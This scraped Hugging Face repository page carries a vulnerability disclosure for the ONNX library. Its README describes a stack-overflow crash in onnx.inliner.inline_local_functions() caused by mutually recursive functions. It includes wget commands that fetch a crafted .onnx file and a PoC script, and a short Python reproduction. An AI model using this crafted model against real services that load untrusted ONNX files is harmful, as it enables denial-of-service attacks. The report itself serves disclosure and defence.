Downloads · 30 days
0
Yash1106/onnx-inliner-mutual-recursion-dos
onnx-inliner-mutual-recursion-dos is a machine learning model from Yash1106. Use it for the machine learning task on the model card, and read the license before you ship it in a product.
Downloads · 30 days
0
Access
Public
Updated Jan 28, 2026
Repo size
275 B
Likes
0
Public
Click a slice to open those files.
.py4.2 KB · 52%
From the Hugging Face model README
CWE-674: Uncontrolled Recursion
The ONNX library's function inliner (onnx.inliner.inline_local_functions()) crashes with SIGSEGV (stack overflow) when processing models containing mutually recursive functions.
onnx (NOT onnxruntime)onnx.inliner.inline_local_functions()onnx/inliner/inliner.cc:606In inliner.cc, the append_node() function (line 581-606) recursively processes function calls without:
When Function A calls Function B, and Function B calls Function A, the inliner infinitely recurses until stack overflow.
pip install onnx
# Download PoC
wget https://huggingface.co/Yash1106/onnx-inliner-mutual-recursion-dos/resolve/main/mutual_recursion_poc.onnx
wget https://huggingface.co/Yash1106/onnx-inliner-mutual-recursion-dos/resolve/main/poc_mutual_recursion.py
# Run PoC
python3 poc_mutual_recursion.py
# Expected: Exit code 139 (SIGSEGV)
Or minimal reproduction:
import onnx
from onnx import inliner
model = onnx.load("mutual_recursion_poc.onnx")
inliner.inline_local_functions(model) # CRASHES with SIGSEGV
inline_local_functions() on untrusted models can be crashedThe malicious model contains:
FunctionA which calls FunctionBFunctionB which calls FunctionAFunctionAWhen inliner processes this:
The ONNX checker (onnx.checker.check_model()) does NOT detect mutual recursion - it passes validation.